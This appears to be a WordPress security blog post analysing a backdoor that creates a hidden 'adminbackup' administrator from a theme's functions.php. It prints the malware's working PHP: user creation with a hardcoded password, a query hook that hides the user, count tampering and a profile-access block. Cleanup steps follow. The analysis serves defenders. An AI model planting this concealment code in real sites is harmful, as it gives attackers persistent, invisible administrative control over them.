WordPress Malware Removal

Professional cleaning and security hardening for just

How to Find and Remove Hidden Admin Users in WordPress (Malware Analysis)

Published on 1/6/2026
MD Pabel
WordPress malware security illustration showing a hidden administrator hack with a user count mismatch, titled The Ghost Admin.

Have you ever looked at your WordPress user dashboard and felt like the math didn’t quite add up? Maybe your dashboard says “All Users (1)”, but a plugin counter says “2”?

This is not a database glitch. It is often the footprint of a sophisticated malware infection designed to maintain a “backdoor” into your website.

In this case study, we break down a specific infection we recently encountered: the adminbackup user hack. We will analyze exactly how the malware hid the user from the interface, why the numbers didn’t match, and how we removed it.

The Symptom: When 1 + 0 = 2

The infection started with a subtle anomaly. Upon logging into the WordPress dashboard to check the user list, everything looked normal at first glance.

  • Visible Users: 1 (The main Administrator)
  • “All” Count: (1)
  • “Administrator” Count: (1)

However, looking closer at the filter bar, we noticed a discrepancy caused by a Two-Factor Authentication (2FA) plugin:

  • 2FA Active: (0)
  • 2FA Inactive: (2)

The math didn’t work. If there is only 1 user on the site, how can 2 users have inactive 2FA?

WordPress user dashboard showing count discrepancy where All users is 1 but 2FA Inactive is 2
The smoking gun: The dashboard shows “All (1)” but the plugin detects “2FA Inactive (2)”.

This discrepancy is the hallmark of a Hidden Administrator Hack. The malware was clever enough to lie to WordPress, but it forgot to lie to the 3rd party 2FA plugin.

The Discovery: Malicious Code in functions.php

After a file integrity scan, we located the culprit hiding inside the active theme’s functions.php file. This is a common hiding spot because functions.php is loaded on every page load, ensuring the malware always runs.

The malware was creating a user named adminbackup with the email adminbackup@wordpress.org.

1. The Injection Mechanism

The malware first checks if the user exists. If not, it creates it silently.

$params = array(
    'user_login' => 'adminbackup',
    'user_pass' => 'o8Qcdaevd9', // Hardcoded malicious password
    'role' => 'administrator',
    'user_email' => 'adminbackup@wordpress.org'
);

if (!username_exists($params['user_login'])) {
    $id = wp_insert_user($params);
    update_option('_pre_user_id', $id);
}

Why this is dangerous: Even if you delete the user, as soon as someone visits the site, this code runs and recreates the admin immediately.

The Technical Deep Dive: How the User Was Hidden

The most interesting part of this malware is not that it created a user, but how it made that user invisible to the site owner.

The malware utilized native WordPress hooks to blind the administrator. It did this in two distinct steps:

Step 1: Modifying the Database Query

WordPress uses the WP_User_Query class to fetch users from the database. The malware intercepted this query using the pre_user_query hook to filter itself out.

function wp_enqueue_async_script($user_search) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id'); // The ID of the malicious user

    global $wpdb;
    // Inject SQL to exclude the malicious ID
    $user_search->query_where = str_replace('WHERE 1=1',
        "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
        $user_search->query_where
    );
}

Translation: The code tells the database: “Fetch all the users, EXCEPT the one with this specific malware ID.” This is why the row for adminbackup never appeared in the table list.

Step 2: Faking the “Counts”

Even if the user is hidden from the list, the “All (2)” count at the top of the page would normally give it away. To cover its tracks, the malware modified the HTML of the views to mathematically subtract 1 from the total.

function wp_generate_dynamic_cache($views) {
    // Explode the HTML string to find the count number
    $html = explode('<span class="count">(', $views['all']);
    $count = explode(')</span>', $html[1]);
    
    // Mathematically subtract 1 from the real count
    $count[0]--; 
    
    // Rebuild the HTML string
    $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
    
    return $views;
}

The Mistake: Why We Caught It

The malware developer hard-coded this logic for the standard WordPress views. They did not account for custom views added by plugins. The 2FA plugin added a column for “2FA Inactive”. The malware didn’t know to subtract 1 from that specific view.

The “Protection” Mechanism

The malware also included a fail-safe. If a savvy admin guessed the ID of the hidden user and tried to navigate directly to their profile (e.g., user-edit.php?user_id=123), the malware blocked access:

if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
    wp_die(__('Invalid user ID.'));

It forces an “Invalid User ID” error, making the admin think the user doesn’t actually exist, discouraging further investigation.

Remediation: How to Remove the Hidden Admin

If you find yourself in this situation, you cannot simply “delete” the user via the dashboard, because the code will recreate it immediately. Follow this exact cleanup process:

  1. Access Your Files (FTP/File Manager): Do not try to fix this from inside the WordPress dashboard. You need server access (cPanel or SFTP).
  2. Locate and Clean functions.php: Navigate to wp-content/themes/your-active-theme/functions.php. Look for the malicious code blocks shown above. Delete the code entirely and save the file.
  3. Remove the Malicious User: Now that the “cloaking” code is gone, the user will be visible.
    • Refresh your WordPress Users page.
    • You will now see adminbackup in the list.
    • Hover over the user and click Delete.
WordPress user list showing the previously hidden adminbackup user exposed
Context: After removing the code in functions.php, the user appears and can be safely deleted.
  1. Update Your Salts and Passwords: Since a hacker had administrative access, you must assume all sessions are compromised.
    • Update WordPress Salts: Edit your wp-config.php file and replace the salt keys. This forces a logout for everyone.
    • Change Passwords: Change the passwords for all legit Administrator accounts.

Summary

This case study highlights the importance of paying attention to small details in your WordPress dashboard.

  • Trust the inconsistencies: If numbers don’t match, investigate.
  • Check functions.php: It is the most common home for this type of malware.
  • Use Activity Logs: An activity log plugin would have recorded the creation of the user adminbackup, even if the user list hid it.

Have you noticed a user count mismatch on your WordPress site? Don’t ignore it. It might be the only clue you have that someone else is holding the keys to your website.

0 Comments

💬

No comments yet. Be the first to share your thoughts!

0/2000

By commenting you agree to our terms.

Explore Our Security Services

About the Author

MD Pabel

MD Pabel

MD Pabel is the Founder and CEO of 3Zero Digital, a leading agency specializing in custom web development, WordPress security, and malware removal. With over 8+ Years years of experience, he has completed more than3200+ projects, served over 2300+ clients, and resolved4500+ cases of malware and hacked websites.